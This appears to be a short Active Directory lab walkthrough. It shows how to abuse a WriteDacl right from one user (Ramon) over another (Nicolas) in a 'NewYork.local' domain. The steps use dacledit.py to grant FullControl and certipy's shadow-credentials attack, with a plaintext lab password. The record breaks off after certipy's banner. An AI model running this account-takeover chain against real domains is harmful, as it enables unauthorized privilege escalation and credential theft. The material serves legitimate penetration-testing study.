WriteDacl on User (Ramon-> Nicolas)

  • To exploit writeDacl from Ramon to Nicolas we can use acledit.py

  • First we will clone the impacket’s created by shutdown (@_nwodtuhs) to get the last PR with dacledit

git clone https://github.com/ThePorgs/impacket.git
cd impacket 
sudo python3 setup.py install

  • Now we can use

  • First let’s look at Ramon’s right on Nicolas:

dacledit.py -action 'read' -principal Ramon.Maldonado -target 'nicolas.Maduro' 'NewYork.local'/'Ramon.Maldonado':'monkey'

  • Ok now change the permission to “FullControl” and see the modification

dacledit.py -action 'write' -rights 'FullControl' -principal Ramon.Maldonado -target 'Nicolas.Maduro' 'NewYork.local'/'Ramon.Maldonado':'monkey'

See Modification

dacledit.py -action 'read' -principal Ramon.Maldonado -target 'nicolas.Maduro' 'NewYork.local'/'Ramon.Maldonado':'monkey'

  • Ok now we can :

    • change Nicolas password

    • do a target kerberoasting

    • do a shadow credentials

  • Let’s just use shadowcredentials :

certipy shadow auto -u Ramon.Maldonado@newyork.local -p 'monkey' -account 'Nicolas.Maduro'

Certipy v4.3.0 - by Oliver Lyak (ly4k)
